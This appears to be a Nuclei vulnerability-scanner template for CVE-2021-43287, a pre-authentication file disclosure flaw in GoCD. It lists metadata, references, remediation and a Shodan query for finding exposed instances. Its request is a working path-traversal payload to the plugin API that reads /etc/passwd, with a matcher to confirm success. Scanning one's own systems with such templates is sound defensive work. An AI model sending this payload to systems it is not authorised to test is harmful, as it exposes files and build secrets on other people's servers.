46 lines
1.6 KiB
YAML
46 lines
1.6 KiB
YAML
id: CVE-2021-43287
|
|
|
|
info:
|
|
name: Pre-Auth Takeover of Build Pipelines in GoCD
|
|
author: dhiyaneshDk
|
|
severity: high
|
|
description: GoCD contains a critical information disclosure vulnerability whose exploitation allows unauthenticated attackers to leak configuration information including build secrets and encryption keys.
|
|
remediation: Upgrade to version v21.3.0. or later.
|
|
reference:
|
|
- https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50
|
|
- https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
|
|
- https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140
|
|
- https://www.gocd.org/releases/#21-3-0
|
|
- https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-43287
|
|
cwe-id: CWE-200
|
|
epss-score: 0.58851
|
|
epss-percentile: 0.97374
|
|
cpe: cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: thoughtworks
|
|
product: gocd
|
|
shodan-query: http.title:"Create a pipeline - Go",html:"GoCD Version"
|
|
tags: cve,cve2021,go,lfi,gocd
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a00463044022061e4a0878c234ba6c8838b8bed6ac1fd1c9fa74da31cac0969b6f7e15392654a022029463637cde539acca26a89668a04c24d22c738802b10515ba7c339a82aed240:922c64590222798bb761d5b6d8e72950
|